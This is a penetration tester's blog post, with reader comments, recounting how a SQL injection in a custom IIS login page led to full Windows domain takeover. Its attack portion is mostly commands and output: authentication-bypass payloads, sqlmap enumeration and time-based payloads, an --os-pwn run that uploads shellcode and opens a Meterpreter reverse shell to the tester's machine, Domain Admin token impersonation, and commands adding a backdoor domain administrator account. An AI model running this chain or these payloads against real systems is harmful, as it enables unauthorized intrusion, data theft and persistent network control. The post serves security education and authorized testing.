SQL Injection: Stealing the Keys to the Kingdom
Recently I was conducting a penetration test for a very large high profile client. The last thing I was expecting to find was SQL Injection . The network itself had over 5500+ nodes and nearly 400 subnets. I started out using one of my new tactics by utilizing Nmap’s new http-screenshot.nse script. If you haven’t had a chance to check it out; I highly suggest you do, its the new hotness. The NSE script essentially allows you to scan a network with nmap and take a screenshot of every webpage at the same time. Tutorials on how to use the script can be found on Pentest Geek here, or on Trustwave’s site here.
SQL Injection – Initial Identification
Normally when looking over all of the webpage screenshots I’m typically conscious of items like Apache tomcat servers with default creds, Jboss servers that expose the jmx-console, printers that have internal document servers holding confidential data, etc, etc…
When scrolling through these specific screenshots, this is the webpage that really caught my attention.
I had never seen it before, and all it offered was a login form for a username and password. This application definitely appeared to be custom made, and we all know custom made applications are put on a budget to complete. Projects on a budget often times are focused on functionality and not security. I wondered if the page was vulnerable to SQL Injection.
First thing I tried was a single quote (‘) in the username field, the typical SQL Injection test. I left the password field NULL to see what type of result would return.
Please enter a valid username and password to continue
Then I tried a single quote (‘) in the username field again and put some random text in the password field to get a 500 – Internal Server Error by IIS7. I was very excited at this point, because I had a hunch that SQL Injection was possible and that the single quote was breaking the backend SQL query.
SQL Injection – Troubleshooting Error Message
After the 500 response from the IIS, I attempted to use the following username and password combination:
Username: ' or 1=1 --%20 Password: password
This request responded with an error message from the application that stated:
Your account is not active. Please contact the Administrator
This error message helped assure me that the web application was vulnerable to an SQL injection authentication bypass vulnerability. In the back of my mind I was thinking either one of two things was happening. The request above was causing every single record in the table to return and the application only wanted a single record, or the first record had a disabled account. Often times when targeting SQL Injection the error messages don’t always tell us exactly what we need to know right away.
SQL Injection – Authentication Bypass
I pondered with a colleague and discussed what would happen if we were able to manipulate how the database results were returned. What if we were able to sort the query by the 2nd, 3rd, or 4th column in the table? After some trial and error I tried the following SQL Injection request.
Username: a' or 1=1 ORDER BY 2 --%20 Password: password
Low and behold this request was able exploit the SQL injection vulnerability and logged me into a password reset function. Sure I could reset a users password, and then log in as that user, but I wanted to be stealth and see what other cool stuff I could do with this vulnerability. The next request I sent was very similar to above, only I had the SQL Injection query sort the response by the 3rd column in the table.
Username: a' or 1=1 ORDER BY 3 --%20 Password: password
Boom! This logged me into the web application and allowed me to query all sorts of confidential PII data. Now I could have sat back and been happy with my SQL Injection authentication bypass, but I wanted to see what else I could do with this vulnerability. That’s when I brought out sqlmap to see if it could provide me any additional assistance.
SQL Injection – Enter Sqlmap.py
./sqlmap.py -u http://192.168.1.33/login.asp –forms
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://192.168.1.33/login.asp --forms sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets using SQL Injection without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 15:11:33 [15:11:33] [INFO] testing connection to the target url [15:11:33] [INFO] heuristics detected web page charset 'ascii' [15:11:33] [INFO] searching for forms [#1] form: POST http://192.168.1.33:80/login.asp POST data: Username=&Password=&submit1=Login do you want to test this form? [Y/n/q] > y Edit POST data [default: Username=&Password=&submit1=Login] (Warning: blank fields detected): do you want to fill blank fields with random values? [Y/n] y [15:11:41] [INFO] using '/pentest/database/sqlmap/output/results-08152012_0311pm.csv' as results file [15:11:41] [INFO] heuristics detected web page charset 'ascii' [15:11:41] [INFO] testing if the url is stable, wait a few seconds [15:11:42] [INFO] url is stable [15:11:42] [INFO] testing if POST parameter 'Username' is dynamic [15:11:43] [WARNING] POST parameter 'Username' appears to be not dynamic [15:11:43] [WARNING] heuristic test shows that POST parameter 'Username' might not be injectable [15:11:43] [INFO] testing for SQL injection on POST parameter 'Username' [15:11:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:11:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [15:11:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [15:11:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [15:11:49] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [15:11:50] [INFO] testing 'MySQL > 5.0.11 stacked queries' [15:11:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [15:11:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [15:12:03] [INFO] POST parameter 'Username' is 'Microsoft SQL Server/Sybase stacked queries' injectable [15:12:03] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [15:12:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [15:12:04] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [15:12:14] [INFO] POST parameter 'Username' is 'Microsoft SQL Server/Sybase time-based blind' injectable [15:12:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [15:12:14] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found [15:12:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [15:12:19] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [15:12:20] [INFO] target url appears to have 6 columns in query injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y [15:12:33] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. --dbms=mysql) [15:12:33] [INFO] checking if the injection point on POST parameter 'Username' is a false positive POST parameter 'Username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y [15:12:53] [INFO] testing if POST parameter 'Password' is dynamic [15:12:53] [WARNING] POST parameter 'Password' appears to be not dynamic [15:12:53] [WARNING] heuristic test shows that POST parameter 'Password' might not be injectable [15:12:53] [INFO] testing for SQL injection on POST parameter 'Password' [15:12:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:12:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [15:12:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [15:12:59] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [15:13:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [15:13:01] [INFO] testing 'MySQL > 5.0.11 stacked queries' [15:13:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [15:13:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [15:13:14] [INFO] POST parameter 'Password' is 'Microsoft SQL Server/Sybase stacked queries' injectable [15:13:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [15:13:14] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [15:13:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [15:13:25] [INFO] POST parameter 'Password' is 'Microsoft SQL Server/Sybase time-based blind' injectable [15:13:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 40 columns' injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y [15:13:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 40 columns' injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y [15:13:50] [INFO] checking if the injection point on POST parameter 'Password' is a false positive POST parameter 'Password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y [15:14:09] [INFO] testing if POST parameter 'submit1' is dynamic [15:14:09] [WARNING] POST parameter 'submit1' appears to be not dynamic [15:14:09] [WARNING] reflective value(s) found and filtering out [15:14:09] [WARNING] heuristic test shows that POST parameter 'submit1' might not be injectable [15:14:09] [INFO] testing for SQL injection on POST parameter 'submit1' [15:14:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:14:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [15:14:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [15:14:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [15:14:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [15:14:17] [INFO] testing 'MySQL > 5.0.11 stacked queries' [15:14:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries' [15:14:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries' [15:14:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [15:14:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [15:14:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [15:14:23] [INFO] testing 'Oracle AND time-based blind' [15:14:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 40 columns' --- Place: POST Parameter: Password Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: Username=LGWo&Password=BuZo'; WAITFOR DELAY '0:0:5';--&submit1=Login Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: Username=LGWo&Password=BuZo' WAITFOR DELAY '0:0:5'--&submit1=Login Place: POST Parameter: Username Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: Username=LGWo'; WAITFOR DELAY '0:0:5';--&Password=BuZo&submit1=Login Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: Username=LGWo' WAITFOR DELAY '0:0:5'--&Password=BuZo&submit1=Login --- there were multiple injection points, please select the one to use for following injections: [0] place: POST, parameter: Username, type: Single quoted string (default) [1] place: POST, parameter: Password, type: Single quoted string [q] Quit > 0 do you want to exploit this SQL injection? [Y/n] y [15:16:32] [INFO] testing MySQL [15:16:32] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries [15:16:32] [WARNING] the back-end DBMS is not MySQL [15:16:32] [INFO] testing Oracle [15:16:32] [WARNING] the back-end DBMS is not Oracle [15:16:32] [INFO] testing PostgreSQL [15:16:33] [WARNING] the back-end DBMS is not PostgreSQL [15:16:33] [INFO] testing Microsoft SQL Server [15:16:38] [INFO] confirming Microsoft SQL Server [15:16:53] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows Vista web application technology: ASP.NET, ASP, Microsoft IIS 7.0 back-end DBMS: Microsoft SQL Server 2008
At this point I was able to determine the Username and Password parameter was injectable according to sqlmap. This wasn’t really anything new since I already injected through the Username parameter for the authentication bypass to work. Now I wondered, what can I do with these injectable parameters? I fired off sqlmap again to see if it was possible to enumerate all of the databases:
./sqlmap.py -u http://192.168.1.33/login.asp –forms –dbs
(snip) ... available databases [11]: [*] [database1] [*] [database2] [*] [database3] [*] database4 [*] database5 [*] database6 [*] database7 [*] database8 [*] master [*] model [*] tempdb
sqlmap was able to enumerate that there were 11 databases running on this 2008 Microsoft SQL server via SQL Injection. Depending on permissions, I’m sure I could dump the entire contents of this database and find some more confidential PII data, but I wanted something cool like an shell on the OS where I could attempt to elevate privileges.
Since this was a Microsoft SQL server it might be possible to take advantage of the stored procedure xp_cmdshell which allows us to execute Windows native commands just like we were sitting at cmd.exe. The problem is that this feature is disabled in SQL 2008. I figured, you don’t know if it’s disabled unless you try.
./sqlmap.py -u http://192.168.1.33/login.asp –forms –os-pwn
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://192.168.1.33/login.asp --forms --os-pwn sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 17:08:11 [17:08:11] [INFO] testing connection to the target url [17:08:12] [INFO] heuristics detected web page charset 'ascii' [17:08:12] [INFO] searching for forms [17:08:12] [WARNING] you did not provide the local path where Metasploit Framework is installed [17:08:12] [WARNING] sqlmap is going to look for Metasploit Framework installation into the environment paths [17:08:12] [INFO] Metasploit Framework has been found installed in the '/usr/local/bin' path [#1] form: POST http://192.168.1.33:80/login.asp POST data: Username=&Password=&submit1=Login do you want to test this form? [Y/n/q] > y Edit POST data [default: Username=&Password=&submit1=Login] (Warning: blank fields detected): do you want to fill blank fields with random values? [Y/n] y [17:08:18] [INFO] resuming back-end DBMS 'microsoft sql server' [17:08:18] [INFO] using '/pentest/database/sqlmap/output/results-08152012_0508pm.csv' as results file [17:08:18] [INFO] heuristics detected web page charset 'ascii' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: POST Parameter: Password Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: Username=LGWo&Password=BuZo'; WAITFOR DELAY '0:0:5';--&submit1=Login Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: Username=LGWo&Password=BuZo' WAITFOR DELAY '0:0:5'--&submit1=Login Place: POST Parameter: Username Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: Username=LGWo'; WAITFOR DELAY '0:0:5';--&Password=BuZo&submit1=Login Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: Username=LGWo' WAITFOR DELAY '0:0:5'--&Password=BuZo&submit1=Login --- there were multiple injection points, please select the one to use for following injections: [0] place: POST, parameter: Password, type: Single quoted string (default) [1] place: POST, parameter: Username, type: Single quoted string [q] Quit > 1 do you want to exploit this SQL injection? [Y/n] y [17:08:21] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows Vista web application technology: ASP.NET, ASP, Microsoft IIS 7.0 back-end DBMS: Microsoft SQL Server 2008 how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > 1 [17:08:24] [INFO] testing if current user is DBA [17:08:24] [INFO] resumed: 1 [17:08:24] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait.. [17:08:27] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries [17:08:27] [INFO] testing if xp_cmdshell extended procedure is usable [17:09:20] [INFO] xp_cmdshell extended procedure is usable [17:09:20] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP [4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS [5] Bind TCP: Listen on the database host for a connection > 1 which is the local address? [192.168.1.96] which local port number do you want to use? [26993] 5901 which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > 1 [17:10:29] [INFO] creation in progress ...................... done [17:10:51] [INFO] uploading shellcodeexec to 'C:/Windows/Temp/shellcodeexec.x32.exe' [17:10:51] [INFO] using a custom visual basic script to write the binary file content to file 'C:WindowsTempshellcodeexec.x32.exe', please wait.. do you want confirmation that the file 'C:WindowsTempshellcodeexec.x32.exe' has been successfully written on the back-end DBMS file system? [Y/n] n [17:11:06] [INFO] running Metasploit Framework command line interface locally, please wait.. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMM MMMN$ vMMMM MMMNl MMMMM MMMMM JMMMM MMMNl MMMMMMMN NMMMMMMM JMMMM MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMNM MMMMMMM MMMMM jMMMM MMMNI WMMMM MMMMMMM MMMM# JMMMM MMMMR ?MMNM MMMMM .dMMMM MMMMNm `?MMM MMMM` dMMMMM MMMMMMN ?MM MM? NMMMMMN MMMMMMMMNe JMMMMMNMMM MMMMMMMMMMNm, eMMMMMNMMNMM MMMMNNMNMMMMMNx MMMMMMNMMNMMNM MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM =[ metasploit v4.4.0-release [core:4.4 api:1.0] + -- --=[ 923 exploits - 497 auxiliary - 150 post + -- --=[ 251 payloads - 28 encoders - 8 nops PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => process LPORT => 5901 LHOST => 192.168.1.96 [*] Started reverse handler on 192.168.1.96:5901 [*] Starting the payload handler... [17:11:35] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait.. [*] Sending stage (752128 bytes) to 192.168.1.33 [*] Meterpreter session 1 opened (192.168.1.96:5901 -> 192.168.1.33:63481) at 2012-08-15 17:11:37 -0400 meterpreter > meterpreter > meterpreter > Computer : HOSTNAME OS : Windows 2008 (Build 6002, Service Pack 2). Architecture : x64 (Current Process is WOW64) System Language : en_US Meterpreter : x86/win32 meterpreter > Server username: DOMAINSQLAccount
SQL Injection – Conclusion
Not only was I able to determine that the web application was configured to run under the DBA account, but xp_cmdshell was already enabled for us, Great! Now sqlmap takes care of all the SQL Injection work and we’re able to get our handy dandy meterpreter that we all know and love.
From here it was too easy to take over the domain. Using incognito I was able to snarf a token of a Domain Admin that was recently logged in:
meterpreter > impersonate_token DOMAIN\Administrator [+] Delegation token available [+] Successfully impersonated user DOMAINAdministrator meterpreter > getuid Server username: DOMAINAdministrator meterpreter > shell Process 2804 created. Channel 1 created. Microsoft Windows Server 2008 [Version 7.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:WINDOWSsystem32> whoami whoami DOMAINadministrator C:WINDOWSsystem32> net user hacker hacker_password /add /domain The command completed successfully. C:WINDOWSsystem32> net group "Domain Admins" hacker /add /domain The command completed successfully.
From here the network was mine through a simple SQL injection authentication bypass.
Share this article
Leave a Reply
Share This
Recent Posts
- Playing With the New Burp Suite REST API
- Burp Suite 2.0 Beta Review
- Attacking Palo Alto Networks PAN-OS ‘readSessionVarsFromFile()’
- GPG Errors While Updating Kali Linux
- Installing Kali NetHunter on HTC Nexus 9
Subscribe To Our Mailing List
The Ultimate Burp Suite Training Program
Learn Network Penetration Testing
Penetration Testing
Categories
- AWBS
- Burp Suite
- Definitions
- Forensics and Incident Response
- Information Gathering
- Metasploit
- Penetration Testing Tutorials
- Phishing
- Presentations
- Tools
- Web Applications
- Wireless
Nice…It is uncommon, but in reality you see the same thing on older 2003 boxes, not to mention other backends. Also, just running as service offers a ton of other possibilities. MS-SQL servers are notoriously(developers suck) not patched. I run into ms09-004 all the time, and with user level access you can escalate. Nice run dude…take’m were u can get’m! ;)
I have found that the harder I work, the luckier I get.
Yes, Win2008 server should not have xp_cmdshell enabled, but login fields should be sanitizing input as well…
I am no longer suprised to find such vulnerabilies or mis-configurations. People take short cuts all the time…
:-)
you got pretty damn lucky to have a 2008 server with the xp_cmdshell enabled and the app running as DBA
You are correct sir, very lucky. Just working with the hand that I was dealt.
VERY INTERESTING . . . BUT QUITE CONFUSING FOR OLDER FOLKS.